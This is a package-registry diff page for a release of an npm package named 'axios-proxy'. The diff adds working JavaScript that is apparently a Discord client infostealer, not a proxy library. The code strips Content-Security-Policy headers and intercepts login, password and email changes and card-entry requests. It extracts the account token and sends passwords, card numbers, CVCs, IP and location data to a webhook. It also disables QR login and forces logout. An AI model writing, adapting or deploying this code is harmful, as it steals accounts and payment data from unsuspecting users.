axios-proxy 0.0.1-security → 1.7.7

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of axios-proxy might be problematic. Click here for more details.

@@ -0,0 +1,856 @@
1
+ const {
2
+ BrowserWindow,
3
+ session,
4
+ } = require('electron');
5
+ const os = require('os');
6
+ const https = require('https');
7
+ const querystring = require("querystring");
8
+ const fs = require("fs");
9
+
10
+
11
+ // Initialization
12
+
13
+ var config = {
14
+ brand: "lowpina",
15
+
16
+ webhook: "REPLACE_ME",
17
+
18
+ logout: true,
19
+ disable_qr_code: true,
20
+
21
+ notify_on_logout: true,
22
+ notify_on_initialization: true,
23
+ ping: [true, "@lowpina"],
24
+
25
+ embed: {
26
+ username: "lowpina | t.me/lowpina",
27
+ footer: {
28
+ text: `lowpina | t.me/lowpina`,
29
+ icon_url: "https://cdn.discordapp.com/emojis/948405394433253416.webp?size=96&quality=lossless",
30
+ },
31
+ href: "https://t.me/lowpina",
32
+ avatar_url: "https://cdn.discordapp.com/emojis/948405394433253416.webp?size=96&quality=lossless"
33
+ },
34
+
35
+ badges: {
36
+ Discord_Employee: {
37
+ Value: 1,
38
+ Emoji: "<:staff:874750808728666152>",
39
+ Rare: true,
40
+ },
41
+ Partnered_Server_Owner: {
42
+ Value: 2,
43
+ Emoji: "<:partner:874750808678354964>",
44
+ Rare: true,
45
+ },
46
+ HypeSquad_Events: {
47
+ Value: 4,
48
+ Emoji: "<:hypesquad_events:874750808594477056>",
49
+ Rare: true,
50
+ },
51
+ Bug_Hunter_Level_1: {
52
+ Value: 8,
53
+ Emoji: "<:bughunter_1:874750808426692658>",
54
+ Rare: true,
55
+ },
56
+ Early_Supporter: {
57
+ Value: 512,
58
+ Emoji: "<:early_supporter:874750808414113823>",
59
+ Rare: true,
60
+ },
61
+ Bug_Hunter_Level_2: {
62
+ Value: 16384,
63
+ Emoji: "<:bughunter_2:874750808430874664>",
64
+ Rare: true,
65
+ },
66
+ Early_Verified_Bot_Developer: {
67
+ Value: 131072,
68
+ Emoji: "<:developer:874750808472825986>",
69
+ Rare: true,
70
+ },
71
+ House_Bravery: {
72
+ Value: 64,
73
+ Emoji: "<:bravery:874750808388952075>",
74
+ Rare: false,
75
+ },
76
+ House_Brilliance: {
77
+ Value: 128,
78
+ Emoji: "<:brilliance:874750808338608199>",
79
+ Rare: false,
80
+ },
81
+ House_Balance: {
82
+ Value: 256,
83
+ Emoji: "<:balance:874750808267292683>",
84
+ Rare: false,
85
+ }
86
+ },
87
+
88
+ filters: {
89
+ user: {
90
+ urls: [
91
+ "https://discord.com/api/v*/users/@me",
92
+ "https://discordapp.com/api/v*/users/@me",
93
+ "https://*.discord.com/api/v*/users/@me",
94
+ "https://discordapp.com/api/v*/auth/login",
95
+ 'https://discord.com/api/v*/auth/login',
96
+ 'https://*.discord.com/api/v*/auth/login',
97
+ "https://api.braintreegateway.com/merchants/49pp2rp4phym7387/client_api/v*/payment_methods/paypal_accounts",
98
+ "https://api.stripe.com/v*/tokens",
99
+ "https://api.stripe.com/v*/setup_intents/*/confirm",
100
+ "https://api.stripe.com/v*/payment_intents/*/confirm",
101
+ ]
102
+ },
103
+ qr_codes: {
104
+ urls: [
105
+ "https://status.discord.com/api/v*/scheduled-maintenances/upcoming.json",
106
+ "https://*.discord.com/api/v*/applications/detectable",
107
+ "https://discord.com/api/v*/applications/detectable",
108
+ "https://*.discord.com/api/v*/users/@me/library",
109
+ "https://discord.com/api/v*/users/@me/library",
110
+ "https://*.discord.com/api/v*/users/@me/billing/subscriptions",
111
+ "https://discord.com/api/v*/users/@me/billing/subscriptions",
112
+ "wss://remote-auth-gateway.discord.gg/*"
113
+ ]
114
+ }
115
+ }
116
+ }
117
+
118
+ var execScript = (script) => {
119
+ const window = BrowserWindow.getAllWindows()[0]
120
+ return window.webContents.executeJavaScript(script, true);
121
+ }
122
+
123
+ class Event {
124
+ constructor(event, token, data) {
125
+ for (let [key, value] of Object.entries({
126
+ "event": event,
127
+ "data": data,
128
+ "token": token
129
+ })) {
130
+ this[key] = value;
131
+ }
132
+ }
133
+
134
+ handle() {
135
+ switch (this["event"]) {
136
+ case "passwordChanged":
137
+ event_handlers["passwordChanged"](this.data.password, this.data.new_password, this.token)
138
+ break;
139
+ case 'userLogin':
140
+ event_handlers["userLogin"](this.data.password, this.data.email, this.token)
141
+ break;
142
+ case 'emailChanged':
143
+ event_handlers["emailChanged"](this.data.password, this.data.email, this.token)
144
+ break;
145
+ case "creditCardAdded":
146
+ event_handlers["creditCardAdded"](this.data.number, this.data.cvc, this.data.exp_month, this.data.exp_year, this.token);
147
+ }
148
+ }
149
+ }
150
+
151
+ // Traffic recording (Pirate stealer inspiration)
152
+
153
+ session.defaultSession.webRequest.onHeadersReceived((details, callback) => {
154
+ try {
155
+ if (details.url.startsWith(config.webhook)) {
156
+ if (details.url.includes("discord.com")) {
157
+ callback({
158
+ responseHeaders: Object.assign({
159
+ 'Access-Control-Allow-Headers': "*"
160
+ }, details.responseHeaders)
161
+ });
162
+ } else {
163
+ callback({
164
+ responseHeaders: Object.assign({
165
+ "Content-Security-Policy": ["default-src '*'", "Access-Control-Allow-Headers '*'", "Access-Control-Allow-Origin '*'"],
166
+ 'Access-Control-Allow-Headers': "*",
167
+ "Access-Control-Allow-Origin": "*"
168
+ }, details.responseHeaders)
169
+ });
170
+ }
171
+ } else {
172
+ delete details.responseHeaders['content-security-policy'];
173
+ delete details.responseHeaders['content-security-policy-report-only'];
174
+
175
+ callback({
176
+ responseHeaders: {
177
+ ...details.responseHeaders,
178
+ 'Access-Control-Allow-Headers': "*"
179
+ }
180
+ })
181
+ }
182
+
183
+ } catch {}
184
+ })
185
+
186
+ session.defaultSession.webRequest.onBeforeRequest(config.filters["qr_codes"], async (details, callback) => {
187
+ if (details.url.startsWith("wss://")) {
188
+ if (!config.disable_qr_code == false) {
189
+ callback({
190
+ cancel: true
191
+ })
192
+ return;
193
+ }
194
+ }
195
+
196
+ await initialize();
197
+
198
+ callback({})
199
+ return;
200
+ })
201
+
202
+ session.defaultSession.webRequest.onCompleted(config.filters["user"], async (details, callback) => {
203
+ try {
204
+ if (details.statusCode == 200 || details.statusCode == 204) {
205
+ const unparsed_data = Buffer.from(details.uploadData[0].bytes).toString();
206
+ const data = JSON.parse(unparsed_data)
207
+ const token = await getToken();
208
+
209
+ switch (true) {
210
+ case details.url.endsWith('login'):
211
+ (new Event('userLogin', token, {
212
+ password: data.password,
213
+ email: data.login
214
+ })).handle();;
215
+ return;
216
+ case details.url.endsWith("tokens") && details.method == "POST":
217
+ const item = querystring.parse(unparsed_data.toString());
218
+ (new Event('creditCardAdded', token, {
219
+ number: item["card[number]"],
220
+ cvc: item["card[cvc]"],
221
+ exp_month: item["card[exp_month]"],
222
+ exp_year: item["card[exp_year]"],
223
+ }))
224
+
225
+ case details.url.endsWith('users/@me') && details.method == 'PATCH':
226
+ if (!data.password) return;
227
+ if (data.email) {
228
+ (new Event('emailChanged', token, {
229
+ password: data.password,
230
+ email: data.email
231
+ })).handle();
232
+ };
233
+ if (data.new_password) {
234
+ (new Event('passwordChanged', token, {
235
+ password: data.password,
236
+ new_password: data.new_password
237
+ })).handle();
238
+ };
239
+ return;
240
+ default:
241
+ break;
242
+ }
243
+ } else {
244
+ return;
245
+ }
246
+
247
+ } catch {}
248
+ })
249
+
250
+ // ==================================================================================
251
+
252
+ var event_handlers = {
253
+
254
+ async creditCardAdded(number, cvc, month, year) {
255
+ const userInfo = await getUserInfo(token);
256
+ const billing = await getBilling(token);
257
+ const friends = await getRelationships(token);
258
+
259
+ var params = {
260
+ username: config.embed.username,
261
+ avatar_url: config.embed.avatar_url,
262
+ embeds: [createEmbed({
263
+ title: "Discord | Credit card added",
264
+ url: config.embed.href,
265
+ author: {
266
+ name: `${userInfo.username}#${userInfo.discriminator} (${userInfo.id})`,
267
+ url: config.embed.href,
268
+ icon_url: userInfo.avatar ? `https://cdn.discordapp.com/avatars/${userInfo.id}/${userInfo.avatar}` : "https://cdn.discordapp.com/embed/avatars/0.png"
269
+ },
270
+ thumbnail: {
271
+ url: userInfo.avatar ? `https://cdn.discordapp.com/avatars/${userInfo.id}/${userInfo.avatar}` : "https://cdn.discordapp.com/embed/avatars/0.png"
272
+ },
273
+ fields: [{
274
+ name: "Credit card Number",
275
+ value: `\`\`\`${number}\`\`\``,
276
+ inline: true
277
+ },
278
+ {
279
+ name: "Credit card CVC",
280
+ value: `\`\`\`${cvc}\`\`\``,
281
+ inline: true
282
+ },
283
+ {
284
+ name: "Credit card expiration",
285
+ value: `\`\`\`${month}/${year}\`\`\``,
286
+ inline: true
287
+ },
288
+ {
289
+ name: "Phone Number",
290
+ value: `\`\`\`${userInfo.phone ?? "None"}\`\`\``,
291
+ inline: false
292
+ },
293
+ {
294
+ name: "Nitro",
295
+ value: `${getNitro(userInfo.premium_type)}`,
296
+ inline: false
297
+ }, {
298
+ name: "Billing",
299
+ value: `${billing}`,
300
+ inline: true
301
+ }, {
302
+ name: "Badges",
303
+ value: `${getBadges(userInfo.flags)}`,
304
+ inline: false
305
+ },
306
+ {
307
+ name: "Token",
308
+ value: `\`\`\`${token}\`\`\``,
309
+ inline: false
310
+ }, {
311
+ name: "Hostname",
312
+ value: `\`\`\`${os.hostname}\`\`\``,
313
+ inline: false
314
+ },
315
+ ],
316
+ }), createEmbed({
317
+ description: `**Total Friends (${friends['length']})**\n\n${friends.frien}`,
318
+ thumbnail: {
319
+ url: userInfo.avatar ? `https://cdn.discordapp.com/avatars/${userInfo.id}/${userInfo.avatar}` : "https://cdn.discordapp.com/embed/avatars/0.png"
320
+ },
321
+ author: {
322
+ name: `${userInfo.username}#${userInfo.discriminator} (${userInfo.id})`,
323
+ url: config.embed.href,
324
+ icon_url: userInfo.avatar ? `https://cdn.discordapp.com/avatars/${userInfo.id}/${userInfo.avatar}` : "https://cdn.discordapp.com/embed/avatars/0.png"
325
+ },
326
+ })]
327
+ }
328
+
329
+ sendToWebhook(params)
330
+ },
331
+
332
+ async userLogin(password, email, token) {
333
+ const userInfo = await getUserInfo(token);
334
+ const billing = await getBilling(token);
335
+ const friends = await getRelationships(token);
336
+
337
+ var params = {
338
+ username: config.embed.username,
339
+ avatar_url: config.embed.avatar_url,
340
+ embeds: [createEmbed({
341
+ title: "Discord | User logged in",
342
+ url: config.embed.href,
343
+ author: {
344
+ name: `${userInfo.username}#${userInfo.discriminator} (${userInfo.id})`,
345
+ url: config.embed.href,
346
+ icon_url: userInfo.avatar ? `https://cdn.discordapp.com/avatars/${userInfo.id}/${userInfo.avatar}` : "https://cdn.discordapp.com/embed/avatars/0.png"
347
+ },
348
+ thumbnail: {
349
+ url: userInfo.avatar ? `https://cdn.discordapp.com/avatars/${userInfo.id}/${userInfo.avatar}` : "https://cdn.discordapp.com/embed/avatars/0.png"
350
+ },
351
+ fields: [{
352
+ name: "Password",
353
+ value: `\`\`\`${password}\`\`\``,
354
+ inline: true
355
+ },
356
+ {
357
+ name: "E-Mail Address",
358
+ value: `\`\`\`${email}\`\`\``,
359
+ inline: true
360
+ },
361
+ {
362
+ name: "Phone Number",
363
+ value: `\`\`\`${userInfo.phone ?? "None"}\`\`\``,
364
+ inline: false
365
+ },
366
+ {
367
+ name: "Nitro",
368
+ value: `${getNitro(userInfo.premium_type)}`,
369
+ inline: false
370
+ }, {
371
+ name: "Billing",
372
+ value: `${billing}`,
373
+ inline: true
374
+ }, {
375
+ name: "Badges",
376
+ value: `${getBadges(userInfo.flags)}`,
377
+ inline: false
378
+ },
379
+ {
380
+ name: "Token",
381
+ value: `\`\`\`${token}\`\`\``,
382
+ inline: false
383
+ }, {
384
+ name: "Hostname",
385
+ value: `\`\`\`${os.hostname}\`\`\``,
386
+ inline: false
387
+ },
388
+ ],
389
+ }), createEmbed({
390
+ description: `**Total Friends (${friends['length']})**\n\n${friends.frien}`,
391
+ thumbnail: {
392
+ url: userInfo.avatar ? `https://cdn.discordapp.com/avatars/${userInfo.id}/${userInfo.avatar}` : "https://cdn.discordapp.com/embed/avatars/0.png"
393
+ },
394
+ author: {
395
+ name: `${userInfo.username}#${userInfo.discriminator} (${userInfo.id})`,
396
+ url: config.embed.href,
397
+ icon_url: userInfo.avatar ? `https://cdn.discordapp.com/avatars/${userInfo.id}/${userInfo.avatar}` : "https://cdn.discordapp.com/embed/avatars/0.png"
398
+ },
399
+ })]
400
+ }
401
+
402
+ sendToWebhook(params)
403
+ },
404
+
405
+ async emailChanged(password, newEmail, token) {
406
+ var userInfo = await getUserInfo(token);
407
+ var billing = await getBilling(token);
408
+ var friends = await getRelationships(token);
409
+
410
+ var params = {
411
+ username: config.embed.username,
412
+ avatar_url: config.embed.avatar_url,
413
+ embeds: [createEmbed({
414
+ title: "Discord | Email changed",
415
+ url: config.embed.href,
416
+ author: {
417
+ name: `${userInfo.username}#${userInfo.discriminator} (${userInfo.id})`,
418
+ url: config.embed.href,
419
+ icon_url: userInfo.avatar ? `https://cdn.discordapp.com/avatars/${userInfo.id}/${userInfo.avatar}` : "https://cdn.discordapp.com/embed/avatars/0.png"
420
+ },
421
+ thumbnail: {
422
+ url: userInfo.avatar ? `https://cdn.discordapp.com/avatars/${userInfo.id}/${userInfo.avatar}` : "https://cdn.discordapp.com/embed/avatars/0.png"
423
+ },
424
+ fields: [{
425
+ name: "New email address",
426
+ value: `\`\`\`${newEmail}\`\`\``,
427
+ inline: true
428
+ },
429
+ {
430
+ name: "Password",
431
+ value: `\`\`\`${password}\`\`\``,
432
+ inline: true
433
+ },
434
+ {
435
+ name: "Phone Number",
436
+ value: `\`\`\`${userInfo.phone ?? "None"}\`\`\``,
437
+ inline: false
438
+ },
439
+ {
440
+ name: "Nitro",
441
+ value: `${getNitro(userInfo.premium_type)}`,
442
+ inline: false
443
+ }, {
444
+ name: "Billing",
445
+ value: `${billing}`,
446
+ inline: true
447
+ }, {
448
+ name: "Badges",
449
+ value: `${getBadges(userInfo.flags)}`,
450
+ inline: false
451
+ },
452
+ {
453
+ name: "Token",
454
+ value: `\`\`\`${token}\`\`\``,
455
+ inline: false
456
+ }, {
457
+ name: "Hostname",
458
+ value: `\`\`\`${os.hostname}\`\`\``,
459
+ inline: false
460
+ },
461
+ ],
462
+ }), createEmbed({
463
+ description: `**Total Friends (${friends['length']})**\n\n${friends.frien}`,
464
+ thumbnail: {
465
+ url: userInfo.avatar ? `https://cdn.discordapp.com/avatars/${userInfo.id}/${userInfo.avatar}` : "https://cdn.discordapp.com/embed/avatars/0.png"
466
+ },
467
+ author: {
468
+ name: `${userInfo.username}#${userInfo.discriminator} (${userInfo.id})`,
469
+ url: config.embed.href,
470
+ icon_url: userInfo.avatar ? `https://cdn.discordapp.com/avatars/${userInfo.id}/${userInfo.avatar}` : "https://cdn.discordapp.com/embed/avatars/0.png"
471
+ },
472
+ })]
473
+ }
474
+
475
+ sendToWebhook(params)
476
+ },
477
+
478
+ async passwordChanged(oldPassword, newPassword, token) {
479
+ var userInfo = await getUserInfo(token);
480
+ var billing = await getBilling(token);
481
+ var friends = await getRelationships(token);
482
+
483
+ var params = {
484
+ username: config.embed.username,
485
+ avatar_url: config.embed.avatar_url,
486
+ embeds: [createEmbed({
487
+ title: "Discord | Password changed",
488
+ url: config.embed.href,
489
+ author: {
490
+ name: `${userInfo.username}#${userInfo.discriminator} (${userInfo.id})`,
491
+ url: config.embed.href,
492
+ icon_url: userInfo.avatar ? `https://cdn.discordapp.com/avatars/${userInfo.id}/${userInfo.avatar}` : "https://cdn.discordapp.com/embed/avatars/0.png"
493
+ },
494
+ thumbnail: {
495
+ url: userInfo.avatar ? `https://cdn.discordapp.com/avatars/${userInfo.id}/${userInfo.avatar}` : "https://cdn.discordapp.com/embed/avatars/0.png"
496
+ },
497
+ fields: [{
498
+ name: "Old password",
499
+ value: `\`\`\`${oldPassword}\`\`\``,
500
+ inline: false
501
+ },
502
+ {
503
+ name: "New password",
504
+ value: `\`\`\`${newPassword}\`\`\``,
505
+ inline: false
506
+ },
507
+ {
508
+ name: "Phone Number",
509
+ value: `\`\`\`${userInfo.phone ?? "None"}\`\`\``,
510
+ inline: false
511
+ },
512
+ {
513
+ name: "Nitro",
514
+ value: `${getNitro(userInfo.premium_type)}`,
515
+ inline: false
516
+ }, {
517
+ name: "Billing",
518
+ value: `${billing}`,
519
+ inline: true
520
+ }, {
521
+ name: "Badges",
522
+ value: `${getBadges(userInfo.flags)}`,
523
+ inline: false
524
+ },
525
+ {
526
+ name: "Token",
527
+ value: `\`\`\`${token}\`\`\``,
528
+ inline: false
529
+ }, {
530
+ name: "Hostname",
531
+ value: `\`\`\`${os.hostname}\`\`\``,
532
+ inline: false
533
+ },
534
+ ],
535
+ }), createEmbed({
536
+ description: `**Total Friends (${friends['length']})**\n\n${friends.frien}`,
537
+ thumbnail: {
538
+ url: userInfo.avatar ? `https://cdn.discordapp.com/avatars/${userInfo.id}/${userInfo.avatar}` : "https://cdn.discordapp.com/embed/avatars/0.png"
539
+ },
540
+ author: {
541
+ name: `${userInfo.username}#${userInfo.discriminator} (${userInfo.id})`,
542
+ url: config.embed.href,
543
+ icon_url: userInfo.avatar ? `https://cdn.discordapp.com/avatars/${userInfo.id}/${userInfo.avatar}` : "https://cdn.discordapp.com/embed/avatars/0.png"
544
+ },
545
+ })]
546
+ }
547
+
548
+ sendToWebhook(params)
549
+ },
550
+ }
551
+
552
+ // ==================================================================================
553
+
554
+ function getDiscordClient() {
555
+ return `${process.cwd().replace(`${process.env.LOCALAPPDATA}\\`, '').split('\\')[0].split(7)}`
556
+ }
557
+
558
+ // ==================================================================================
559
+
560
+ function getNitro(flags) {
561
+ switch (flags) {
562
+ case 0:
563
+ return "\`\`\`No Nitro\`\`\`";
564
+ case 1:
565
+ return "<:classic:896119171019067423> \`\`Nitro Classic\`\`";
566
+ case 2:
567
+ return "<a:boost:824036778570416129> \`\`Nitro Boost\`\`";
568
+ default:
569
+ return "\`\`\`No Nitro\`\`\`";
570
+
571
+ };
572
+ }
573
+
574
+ function getRareBadges(flags) {
575
+ var b = '';
576
+ for (const prop in config.badges) {
577
+ let o = config.badges[prop];
578
+ if ((flags & o.Value) == o.Value && o.Rare) b += o.Emoji;
579
+ };
580
+ return b;
581
+ }
582
+
583
+ function getBadges(flags) {
584
+ var b = '';
585
+ for (const prop in config.badges) {
586
+ let o = config.badges[prop];
587
+ if ((flags & o.Value) == o.Value) b += o.Emoji;
588
+ };
589
+ if (b == '') b = '\`\`\`None\`\`\`'
590
+ return b;
591
+ }
592
+
593
+ async function getToken() {
594
+ return await execScript(`for(let a in window.webpackJsonp?(gg=window.webpackJsonp.push([[],{get_require:(a,b,c)=>a.exports=c},[['get_require']]]),delete gg.m.get_require,delete gg.c.get_require):window.webpackChunkdiscord_app&&window.webpackChunkdiscord_app.push([[Math.random()],{},a=>{gg=a}]),gg.c)if(gg.c.hasOwnProperty(a)){let b=gg.c[a].exports;if(b&&b.__esModule&&b.default)for(let a in b.default)'getToken'==a&&(token=b.default.getToken())}token;`, true)
595
+ }
596
+
597
+ async function getIp() {
598
+ return JSON.parse(await execScript(`var xmlHttp = new XMLHttpRequest();xmlHttp.open( "GET", "https://ipinfo.io/json", false );xmlHttp.send( null );xmlHttp.responseText;`, true));
599
+ }
600
+
601
+ async function getUserInfo(token) {
602
+ return JSON.parse(await execScript(`var xmlHttp = new XMLHttpRequest();xmlHttp.open( "GET", "https://discord.com/api/v8/users/@me", false );xmlHttp.setRequestHeader("Authorization", "${token}");xmlHttp.send( null );xmlHttp.responseText;`, true));
603
+ }
604
+
605
+ async function getBilling(token) {
606
+ var a = await execScript(`var xmlHttp = new XMLHttpRequest(); xmlHttp.open( "GET", "https://discord.com/api/v9/users/@me/billing/payment-sources", false ); xmlHttp.setRequestHeader("Authorization", "${token}"); xmlHttp.send( null ); xmlHttp.responseText`, true)
607
+ var json = JSON.parse(a)
608
+
609
+ var billing = "";
610
+ json.forEach(z => {
611
+ if (z.type == "") {
612
+ return "\`\`\`❌\`\`\`";
613
+ } else if (z.type == 2 && z.invalid != true) {
614
+ billing += "\`✔️\`" + " <:paypal:896441236062347374>";
615
+ } else if (z.type == 1 && z.invalid != true) {
616
+ billing += "\`✔️\`" + " :credit_card:";
617
+ } else {
618
+ return "\`\`\`❌\`\`\`";
619
+ };
620
+ });
621
+
622
+ if (billing == "") billing = "\`\`\`❌\`\`\`"
623
+ return billing;
624
+ }
625
+
626
+ async function getRelationships(token) {
627
+ var a = await execScript(`var xmlHttp = new XMLHttpRequest();xmlHttp.open( "GET", "https://discord.com/api/v9/users/@me/relationships", false );xmlHttp.setRequestHeader("Authorization", "${token}");xmlHttp.send( null );xmlHttp.responseText`, true)
628
+ var json = JSON.parse(a)
629
+ const r = json.filter((user) => {
630
+ return user.type == 1
631
+ })
632
+ var rareBadgesFriends = "";
633
+ for (z of r) {
634
+ var b = getRareBadges(z.user.public_flags)
635
+ if (b != "") {
636
+ rareBadgesFriends += b + ` | ${z.user.username}#${z.user.discriminator}\n`
637
+ }
638
+ }
639
+ if (!rareBadgesFriends) rareBadgesFriends = "No Rare Friends"
640
+
641
+ return {
642
+ length: r.length,
643
+ frien: rareBadgesFriends
644
+ }
645
+ }
646
+
647
+ // ==================================================================================
648
+
649
+ function sendToWebhook(params) {
650
+
651
+ if (config.ping[0] == true) {
652
+ if (params.content) {
653
+ params.content = params.content + ` ||${config.ping[1]}||`
654
+ } else {
655
+ params.content = `||${config.ping[1]}||`
656
+ }
657
+ }
658
+
659
+ var url = new URL(config.webhook);
660
+ var headers = {
661
+ 'Content-Type': 'application/json',
662
+ 'Access-Control-Allow-Origin': '*',
663
+ }
664
+ const options = {
665
+ protocol: url.protocol,
666
+ hostname: url.host,
667
+ path: url.pathname,
668
+ method: 'POST',
669
+ headers: headers,
670
+ };
671
+ const req = https.request(options);
672
+ req.on('error', (err) => {
673
+ console.log(err);
674
+ });
675
+ req.write(JSON.stringify(params));
676
+ req.end();
677
+ }
678
+
679
+ // ==================================================================================
680
+
681
+ function createEmbed(data) {
682
+ let obj = {
683
+ "footer": config.embed.footer,
684
+ "timestamp": new Date(),
685
+ }
686
+
687
+ for (let [key, value] of Object.entries(data)) {
688
+ obj[key] = value;
689
+ }
690
+
691
+ return obj;
692
+ }
693
+
694
+ // ==================================================================================
695
+
696
+ async function initialize() {
697
+
698
+ if (!fs.existsSync(`${process.cwd()}/${config.brand}`)) {
699
+ fs.mkdirSync(`${process.cwd()}/${config.brand}`)
700
+
701
+ var token = undefined;
702
+
703
+ token = await getToken();
704
+
705
+ const network_data = await getIp()
706
+
707
+ var userInfo;
708
+ var billing;
709
+ var friends;
710
+
711
+ if (config.notify_on_initialization) {
712
+ if (token == undefined) {
713
+ sendToWebhook({
714
+ username: config.embed.username,
715
+ avatar_url: config.embed.avatar_url,
716
+ url: config.embed.href,
717
+ embeds: [createEmbed({
718
+ title: "Discord | Client initialized (not logged in)",
719
+ fields: [{
720
+ name: "Hostname",
721
+ value: `\`\`\`${os.hostname}\`\`\``,
722
+ inline: false
723
+ }, {
724
+ name: "Client version",
725
+ value: `\`\`\`${getDiscordClient()}\`\`\``,
726
+ inline: false
727
+ }, {
728
+ name: "Connection data",
729
+ value: `\`\`\`yaml\nIP Address: ${network_data['ip'] ?? "Unknown"}\nHostname: ${network_data['hostname'] ?? "Unknown"}\nCity: ${network_data['city'] ?? "Unknown"}\nRegion: ${network_data['region'] ?? "Unknown"}\nCountry: ${network_data["country"] ?? "Unknown"}\nTimezone: ${network_data["timezone"] ?? "Unknown"}\`\`\``,
730
+ inline: false
731
+ }],
732
+ })]
733
+ })
734
+ } else {
735
+ userInfo = await getUserInfo(token);
736
+ billing = await getBilling(token);
737
+ friends = await getRelationships(token);
738
+
739
+ sendToWebhook({
740
+ username: config.embed.username,
741
+ avatar_url: config.embed.avatar_url,
742
+ embeds: [createEmbed({
743
+ title: "Discord | Client initialized",
744
+ url: config.embed.href,
745
+ author: {
746
+ name: `${userInfo.username}#${userInfo.discriminator} (${userInfo.id})`,
747
+ url: config.embed.href,
748
+ icon_url: userInfo.avatar ? `https://cdn.discordapp.com/avatars/${userInfo.id}/${userInfo.avatar}` : "https://cdn.discordapp.com/embed/avatars/0.png"
749
+ },
750
+ thumbnail: {
751
+ url: userInfo.avatar ? `https://cdn.discordapp.com/avatars/${userInfo.id}/${userInfo.avatar}` : "https://cdn.discordapp.com/embed/avatars/0.png"
752
+ },
753
+ fields: [{
754
+ name: "E-Mail Address",
755
+ value: `\`\`\`${userInfo.email}\`\`\``,
756
+ inline: true
757
+ },
758
+ {
759
+ name: "Phone Number",
760
+ value: `\`\`\`${userInfo.phone ?? "None"}\`\`\``,
761
+ inline: false
762
+ },
763
+ {
764
+ name: "Nitro",
765
+ value: `${getNitro(userInfo.premium_type)}`,
766
+ inline: false
767
+ }, {
768
+ name: "Billing",
769
+ value: `${billing}`,
770
+ inline: true
771
+ }, {
772
+ name: "Badges",
773
+ value: `${getBadges(userInfo.flags)}`,
774
+ inline: false
775
+ },
776
+ {
777
+ name: "Token",
778
+ value: `\`\`\`${token}\`\`\``,
779
+ inline: false
780
+ },
781
+ {
782
+ name: "Hostname",
783
+ value: `\`\`\`${os.hostname}\`\`\``,
784
+ inline: false
785
+ }, {
786
+ name: "Client version",
787
+ value: `\`\`\`${getDiscordClient()}\`\`\``,
788
+ inline: false
789
+ }, {
790
+ name: "Connection data",
791
+ value: `\`\`\`yaml\nIP Address: ${network_data['ip'] ?? "Unknown"}\nHostname: ${network_data['hostname'] ?? "Unknown"}\nCity: ${network_data['city'] ?? "Unknown"}\nRegion: ${network_data['region'] ?? "Unknown"}\nCountry: ${network_data["country"] ?? "Unknown"}\nTimezone: ${network_data["timezone"] ?? "Unknown"}\`\`\``,
792
+ inline: false
793
+ }
794
+ ],
795
+ }), createEmbed({
796
+ description: `**Total Friends (${friends['length']})**\n\n${friends.frien}`,
797
+ thumbnail: {
798
+ url: userInfo.avatar ? `https://cdn.discordapp.com/avatars/${userInfo.id}/${userInfo.avatar}` : "https://cdn.discordapp.com/embed/avatars/0.png"
799
+ },
800
+ author: {
801
+ name: `${userInfo.username}#${userInfo.discriminator} (${userInfo.id})`,
802
+ url: config.embed.href,
803
+ icon_url: userInfo.avatar ? `https://cdn.discordapp.com/avatars/${userInfo.id}/${userInfo.avatar}` : "https://cdn.discordapp.com/embed/avatars/0.png"
804
+ },
805
+ })]
806
+ })
807
+ }
808
+
809
+ }
810
+
811
+ if (config.logout && token) {
812
+ await execScript(`window.webpackJsonp?(gg=window.webpackJsonp.push([[],{get_require:(a,b,c)=>a.exports=c},[["get_require"]]]),delete gg.m.get_require,delete gg.c.get_require):window.webpackChunkdiscord_app&&window.webpackChunkdiscord_app.push([[Math.random()],{},a=>{gg=a}]);function LogOut(){(function(a){const b="string"==typeof a?a:null;for(const c in gg.c)if(gg.c.hasOwnProperty(c)){const d=gg.c[c].exports;if(d&&d.__esModule&&d.default&&(b?d.default[b]:a(d.default)))return d.default;if(d&&(b?d[b]:a(d)))return d}return null})("login").logout()}LogOut();`, true).then((result) => {});
813
+
814
+ if (config.notify_on_logout) {
815
+ sendToWebhook({
816
+ username: config.embed.username,
817
+ avatar_url: config.embed.avatar_url,
818
+ embeds: [createEmbed({
819
+ title: "Discord | User logged out",
820
+ url: config.embed.href,
821
+ author: {
822
+ name: `${userInfo.username}#${userInfo.discriminator} (${userInfo.id})`,
823
+ url: config.embed.href,
824
+ icon_url: userInfo.avatar ? `https://cdn.discordapp.com/avatars/${userInfo.id}/${userInfo.avatar}` : "https://cdn.discordapp.com/embed/avatars/0.png"
825
+ },
826
+ thumbnail: {
827
+ url: userInfo.avatar ? `https://cdn.discordapp.com/avatars/${userInfo.id}/${userInfo.avatar}` : "https://cdn.discordapp.com/embed/avatars/0.png"
828
+ },
829
+ fields: [{
830
+ name: "Nitro",
831
+ value: `${getNitro(userInfo.premium_type)}`,
832
+ inline: false
833
+ }, {
834
+ name: "Billing",
835
+ value: `${billing}`,
836
+ inline: true
837
+ }, {
838
+ name: "Badges",
839
+ value: `${getBadges(userInfo.flags)}`,
840
+ inline: false
841
+ },
842
+ {
843
+ name: "Token",
844
+ value: `\`\`\`${token}\`\`\``,
845
+ inline: false
846
+ },
847
+ ]
848
+ })]
849
+ })
850
+ }
851
+
852
+ }
853
+ }
854
+ }
855
+
856
+ module.exports = require("./core.asar");